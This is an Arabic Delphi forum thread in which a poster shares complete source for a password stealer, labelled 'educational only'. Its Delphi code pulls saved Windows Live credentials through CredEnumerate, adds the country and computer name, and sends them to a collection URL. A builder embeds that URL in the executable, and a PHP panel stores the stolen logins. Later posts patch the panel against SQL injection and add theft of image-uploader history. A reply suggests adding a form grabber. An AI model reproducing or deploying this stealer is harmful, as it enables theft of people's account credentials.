delphi4arab منتديات دلفي للعرب

نسخة كاملة : ستلر تعليمي من برمجتي
أنت حالياً تتصفح نسخة خفيفة من المنتدى . مشاهدة نسخة كاملة مع جميع الأشكال الجمالية .
الصفحات : 1 2
برمجة ستلر
المثال تعليمي فقط وكذلك لنجعل هذه البرامج ليست حكرا على الغرب
لوحة البيانات
[صورة مرفقة: 20121104080221.jpg]
لوحة الدخول
[صورة مرفقة: 20121104080823.jpg]

السكربت كامل مرفق وهو من برمجتي بالكامل وقد وضعت نسخة منه في موقع opensc.ws

اما الكود سورس فهو كذلك بالكامل الا بعض الدوال
ولقد تم تعديل دالة ايجاد كلمة مرور المسنجر حيث كانت قديما تكون النتيجة من هذا الشكل
a #0b#0c#0d#0....
PHP كود :
^
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas';

var 
i:integer;
begin
for := 0 to length(getPassWords)-do // getPassWords = user|pass
OpenUrl('http://127.0.0.1/site_01/get.php?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end
PHP كود :
unit unitfunctions;
interface
uses Windows,WinInet;
function 
UserNameString;
procedure OpenUrl(const urlstring);
function 
StrPas(const StrPChar): string;
function 
Countrystring;
implementation
function StrPas(const StrPChar): string;begin Result := Strend;
function 
UsernameString;var Cap: array[1..64of Char;szDWordbegin     sz := SizeOf(Cap) ;    GetComputerName(@Capsz); Result := StrPas(@cap);end;
procedure OpenUrl(const urlstring);begin InternetOpenUrl(InternetOpen(''0nilnil0), PChar(url), nil000)end// by onexite
function Countrystring;var Temp: array [0..255of Char;begin FillChar(TempsizeOf(Temp), #0);GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, Temp, sizeOf(Temp));Result := string(Temp); end;
end
والوحدة الاخيرة
PHP كود :
WindowsLive.pas;

unit WindowsLive;
interface
uses Windows;

type
TStrArray 
= array of string;

function 
GETPassWords:TStrArray;
implementation
 type
 CREDENTIAL_ATTRIBUTEA 
record
  Keyword
LPSTR;
  
FlagsDWORD;
  
ValueSizeDWORD;
  
ValuePBYTE;
 
end;
 
PCREDENTIAL_ATTRIBUTE = ^CREDENTIAL_ATTRIBUTEA;
 
CREDENTIALA record
  Flags
DWORD;
  
Type_DWORD;
  
TargetNameLPSTR;
  
CommentLPSTR;
  
LastWrittenFILETIME;
  
PassWordSizeDWORD;
  
PassWordDWORD;
  
PersistDWORD;
  
AttributeCountDWORD;
  
AttributesPCREDENTIAL_ATTRIBUTE;
  
TargetAliasLPSTR;
  
UserNameLPSTR;
 
end;
 
PCREDENTIAL = array of ^CREDENTIALA;
var
 
CredEnumerate: function(FilterLPCSTRFlagsDWORD; var CountDWORD; var CredentialPCREDENTIAL): BOOLstdcall;
 
CredFree: function(BufferPointer): BOOLstdcall;

function 
Trimstr(textString): String//by onexite
var  iInteger;
begin
Result
:='';
for 
i:=0 to Length(text)-do
 if 
text[i] <> #0 then Result := Result + text[i]
end;

function 
GETPassWordsTStrArray;
var
  
CollectionPCREDENTIAL;
  
CountiDWORD;
  
HandleTHandle;
begin
  Handle 
:= LoadLibrary('advapi32.dll');
  {
$IFDEF UNICODE}
  @
CredEnumerate := GetProcAddress(Handle'CredEnumerateW');
  {
$ELSE}
  @
CredEnumerate := GetProcAddress(Handle'CredEnumerateA');
  {
$ENDIF UNICODE}
  @
CredFree := GetProcAddress(Handle'CredFree');
  
CredEnumerate('WindowsLive:name=*'0CountCollection);
  if 
Count 0 then exit;
  for 
:= 0 to count-1  do begin
   SetLength
(Result,Length(Result)+2);
   
Result[(i*2)]:=Collection[i].UserName ;
   
Result[(2*i)+1]:=Trimstr(String(Collection[i].PassWord));
  
end;
  
FreeLibrary(Handle);
end;

end
عليكم بتعديل نتيجة الفنكسيون قات باسوورد
بتغيير تحديد الحجم ب +1 بدل + 2
وتكون النتيجة الامايل + | + الباسوورد اي result[i] := user+|+pass

اما سكربت الاستقبال فهو بسيط جدا يستقبل سترينق ويقسمها حيث تكون من هذا الشكل user|pass|country|pc|pass2
ونضعهم في قاعدة البيانات

PHP كود :
<?php
require("config.php");
$ip      =$_SERVER["REMOTE_ADDR"];
$data    =explode('|',$_GET['data']);
$user    =$data[0];
$pass    =$data[1];
$Country    =$data[2];
$nam_pc  =$data[3];
$password=$data[4];

if (
$password == $oldpass)
{
mysql_query("INSERT INTO base_01 (ip, username, password, Country, nampc) VALUES ('$ip','$user', '$pass', '$Country','$nam_pc')")or die('Error');
} else  echo 
'Access is Denied!';
?>
بالتوفيق للجميع

السورس كامل
أردت اخي أن توقع بالناس (أتمنى أن يكونو اسرائليين محتلين) لكن أنت الضحية...لأكن لمن تحمي الصفحة من ثغرة SQL Injection
أترك لك البحث لكي تستفيد
بالتوفيق أخي الكريم
شكرا لك اعلم بذلك
يمكن استخدام هذه الفنكسيون للحماية
PHP كود :
function clean($str) {
$str = @trim($str);
if(
get_magic_quotes_gpc()) {
$str stripslashes($str);
}
return 
mysql_real_escape_string($str);


ونعدل index.php
PHP كود :
mysql_query("DELETE FROM base_01 WHERE id = ".clean($_GET['id'])); 
وكذلك
get.php
PHP كود :
$data    =explode('|',clean($_GET['data'])); 
البويلدر
PHP كود :
program builder;

uses
  Dialogs
;

procedure WriteEof(FileNameResDelimit1Delimit2 :String);
var
  
FTextFile;
begin
  AssignFile
(F,FileName);
  
Append(F);
  
Writeln(F,Delimit1+Res+Delimit2);
  
CloseFile(F);
end;

 var 
opn:TOpenDialog ;
begin
  opn
:=TOpenDialog.Create(nil);
  
opn.Filter:='*.exe';
  
opn.Title:='Select Server..';
  
opn.FileName:='Project3.exe';
if  
opn.Execute then  begin
try
    
WriteEof(opn.FileNameinputbox('url','type url :','http://127.0.0.1/site_01/get.php'), '|1|''|2|') ;
    
ShowMessage('ok');
  finally
  
opn.Free
  end
;
  
end;
end

PHP كود :
unit uReadFile;

interface
uses Windows;

var 
url:string;
function 
ReadEof(x1x2 :String) :String;

implementation

function ReadFile(FileNameString): AnsiString;
var
  
:File;
  
Buffer :AnsiString;
  
Size,ReadBytes :Integer;
  
DefaultFileMode:Byte;
begin
  Result 
:= '';
  
DefaultFileMode := FileMode;
  
FileMode := 0;
  
AssignFile(FFileName);
  
Reset(F1);
  if (
IOResult 0then
  begin
    Size 
:= FileSize(F);
    while (
Size 1024) do
    
begin
      SetLength
(Buffer1024);
      
BlockRead(FBuffer[1], 1024ReadBytes);
      
Result := Result Buffer;
      
Dec(SizeReadBytes);
    
end;
    
SetLength(BufferSize);
    
BlockRead(FBuffer[1], Size);
    
Result := Result Buffer;
    
CloseFile(F);
  
end;
  
FileMode := DefaultFileMode;
end;

function 
ReadEof(x1x2 :String) :String;
var
  
Buffer:AnsiString;
  
ResLength,iPosx :Integer;
begin
  Buffer 
:= ReadFile(ParamStr(0));
  if 
Pos(x1Buffer) > Pos(x2Bufferthen
    Posx 
:= Length(Buffer)-(Pos(x1Buffer)+Length(x1))
  else 
Posx := Length(Buffer)-(Pos(x2Buffer)+Length(x2));
  
Buffer := Copy(Buffer, (Length(Buffer)-Posx), Length(Buffer));
  
ResLength := Pos(x2Buffer)-(Pos(x1Buffer)+Length(x1));
  for 
:= 0 to (Reslength-1) do
    
Result := Result+Buffer[Pos(x1Buffer)+(Length(x1)+i)];
end;
end

وتعديل السرفر
PHP كود :
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas',
  
uReadFile in 'uReadFile.pas';

var 
i:integer;
begin
url
:=ReadEof('|1|','|2|');
for 
:= 0 to length(getPassWords)-do // getPassWords = user|pass
OpenUrl(url+'?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end
الكتابة في ملف تنفيذي لقد وضعت موضوع من قبل
Write EOF, Read EOF مع مثال بسيط
تم اضافة خانة جديدة نظام التشغيل وتغيير الشكل جذريا
لوحة التحكم
[صورة مرفقة: 20121106121357.jpg]
لوحة الدخول
[صورة مرفقة: 20121106121414.jpg]
كل الملفات في المرفقات
اخر التعديلات
اصبح متعدد التطبيقات
+ اضافة سحب محفوضات رافع الصور
[صورة مرفقة: 20121106231610.jpg]
لتجريب الشكل الجديد
PHP كود :
#mytable {
    
width83%;
    
padding0;
    
margin0;
    
border-left0.1px solid #3c5884;
}
-------------------------------------------------
body {
    
fontnormal 10px auto "Trebuchet MS"VerdanaArialHelveticasans-serif;
    
color#454545;
    
font-size13px;
    
backgroundurl("images/background.png"repeat fixed left top #0492DE;

صفحة الدخول

[صورة مرفقة: 20121129102551.png]

لوحة التحكم

[صورة مرفقة: 20121130143705.png]
السكربت كامل
السلام عليكم يا اخي ومشكور على الطرح
لا تدري يا اخي كم كنت أبحث على هذا السكربت لأخذ نضرة عن برنامج إستلر في سحب الباسوردات وشكرا مرة اخرى يا اخي
برمجة قوية أخي
شكرا لك وجاري التحميل
لو أضفت له formgrapper
لصار الأفضل على الإطلاق
تحياتي لك Smile
الصفحات : 1 2